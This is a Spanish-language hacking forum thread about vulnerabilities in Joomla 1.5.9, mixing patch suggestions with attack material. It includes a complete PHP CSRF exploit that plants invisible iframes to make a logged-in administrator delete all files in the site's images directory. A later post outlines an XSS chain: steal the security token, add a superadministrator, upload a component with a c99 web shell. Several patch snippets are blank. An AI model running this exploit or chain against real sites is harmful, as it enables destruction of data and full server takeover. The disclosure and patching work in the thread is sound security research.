hoho,  nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.

-berz3k.

Hola.

Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en:

..administrator/components/com_media/controllers

* En la línea 36 tenemos el llamado a la función upload:




* Debemos cambiarlo por esto:



* Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta.
* En la línea 57 tenemos


* Cambiarlo a:


Más abajo en la línea 100 tenemos:


* Cambiarlo a:


* Seguimos más abajo en la línea 120 y tenemos:


* Cambiarlo a:


Hasta ahora eso es todo lo que pude obtener.

Saludos

Muy buen aporte, lo probare en localhost.

saludos, Dacan 

Pero este no sería subforo de bugs y exploits sin el exploit XD

<?php
// Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
// http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
$WEB_VULNERABLE = 'http://www.ejemplo.com/';
if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
 echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; 
 ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
 sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
}
// Continuamos con el plan...
if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
/* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
 foreach($archivos as $valor){
 // Reconociendo si es archivo o directorio
 if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
 echo '<iframe src="'.
 $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
 .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
 .'" width="1" height="1" frameborder="0"></iframe>'; 
 }
}
function obtener_archivos($url){
 $buffer = explode(']"> <a href="', file_get_contents($url));
 foreach($buffer as $item=> $valor){
  if($item != '0'){ // Procesa solamente links
   $temporal = explode('"', $valor);
   $retorno[count($retorno)] = $temporal[0];
  }
 }
 return $retorno;
}
?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.

Bueno, además del CSRF que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:


El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:



Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93

<?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>

Modificar por:

<?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.

Un amigo por el mensajero me comentaba sobre algunas personas que se dedican a la programación que dicen "como es inexplotable no se parcha" y es entendible, si ves un bug que para ti es inexplotable lo mas probable es que no lo repares porque supuestamente no tiene ningún riesgo hasta que aparece la gente que si lo logra entonces recién lo reparan. En este caso creo que es similar ya que en el componente search dentro del panel de administración se puede ver el historial de busqueda y me llevé la sorpresa de que este no filtra ningún carácter y me pregunté.. "¿Porque??" entonces mejor comenzé a instalar joomla en mi localhost para ya no seguir desmadrando mi sitio  y pude comprobar que el componente Search de la portada o sea el que ve el visitante ya tiene un filtro el cual elimina todos los caácteres después del "<" por lo tanto pensando como el codeador "esto es inexplotable así que no nos preocupamos por mostrar el historial de busquedas en la administración poniendo ningún filtro", pero que pasa si logro evadir ese filtro? puedo comprometer al administrador? la respuesta es si y eso fue lo que sucedió.

Esto equivale a
Lo ponemos dentro de la caja del buscador y nos enviará directamente al formulario del buscador avanzado con esta busqueda sin ser filtrada, ahora cuando el joomla tiene petysurl activado lo hace via petición GET y no POST así que hay que doble encodear cada carácter, por ejemplo:
Con esto ya el administrador podrá ver en su hermoso historial su XSS:


Tamaño original: http://img443.imageshack.us/img443/9854/dibujo2zq7.png

Mientras tanto que aparece el parche o actualización de joomla puedes desactivar el historial del buscador.

Ya con todo esto como que estamos listos para crear nuestro exploit con token y todo, hacemos un php que lanze una petición POST al buscador y seguidamente lanzamos la redirección hacia el componente afectado para causar la ejecución arbitraria, luego el xss llamará a un archivo de javascript alojado en otro servidor que realizará las acciones y estas serán obtener el token de seguridad y agregar un nuevo superadministrador para nosotros, seguido por la creación de un componente con una shell c99 incrustada para ganar el acceso total al servidor y si es posible rootearlo dependiendo de la versión del mismo y el estado de seguridad que pueda tener.

Voy a ir preparando los archivos para explicar paso por paso como hacerlo. Hasta la prox.

Muy buen post WHK, la verdad es que siempre gusta testear los CMS más usados y conocer sus fallas.

Pero en último bug que publicaste (arriba de este post) nombras file disclosure, y yo no veo la existencia de esa vulnerabilidad. En todo caso PATH DISCLOSURE.

Que por cierto, en su día publique algo parecido para LOKICMS.

LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
http://milw0rm.com/exploits/6737


Saludos!!